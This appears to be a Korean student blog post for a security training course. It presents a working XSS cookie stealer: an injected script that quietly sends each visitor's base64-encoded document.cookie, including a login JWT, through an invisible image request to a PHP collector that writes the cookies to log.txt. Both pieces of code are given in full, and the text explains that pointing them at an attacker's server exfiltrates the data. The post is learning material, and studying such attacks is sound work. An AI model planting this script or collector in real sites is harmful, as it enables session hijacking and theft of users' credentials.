2024. 5. 14. 17:29ㆍ정보보안 및 해킹/Normaltic's 취업반 과제
우선 서버가 현재 하나밖에 없기 때문에 공격자 서버를 따로 두지 않고 자기 자신으로부터 탈취하여 자기자신에게 정보를 가져오게끔 하였다.
index.php
임시의 이미지(사용자에게는 보이지 않는)를 하나 생성하여 그 이미지를 통해 공격자의 php코드로 cookie를 전송한다.
해당 코드는 로그인 이후 jwt가 생성된 후 실행된다.
[생략]
<script type="text/javascript">
var i = new Image();
i.src='./cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie));
</script>
[생략]
cookiestealer.php
공격자의 코드.
c라는 쿠키를 담을 변수를 받아 log.txt라는 파일에 적는다.
지금은 서버가 하나 뿐이라서 자기 자신에게 돌렸지만 공격자의 서버에게 돌리게 되면 저 파일은 공격자의 서버로 들어가게 된다.
<?php
if (isset($_GET["c"]))
{
$cookies = base64_decode(urldecode($_GET["c"]));
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
fclose($file);
}
?>
How to Write an XSS Cookie Stealer in JavaScript to Steal Passwords
JavaScript is one of the most common languages used on the web. It can automate and animate website components, manage website content, and carry out many other useful functions from within a webpage. The scripting language also has many functions which ca
null-byte.wonderhowto.com
'정보보안 및 해킹 > Normaltic's 취업반 과제' 카테고리의 다른 글
[Normaltic's 취업반 과제] 게시글 삭제하기 (0) | 2024.05.15 |
---|---|
[Normaltic's 취업반 과제] js Keylogger (0) | 2024.05.14 |
[Normaltic's 취업반 과제] 게시글 수정하기 (0) | 2024.05.12 |
[Normaltic's 취업반 과제] jwt 로그인 유지 (0) | 2024.05.08 |
[Normaltic's 취업반 과제] 게시판에 이미지 / 파일 등록하기 (0) | 2024.05.07 |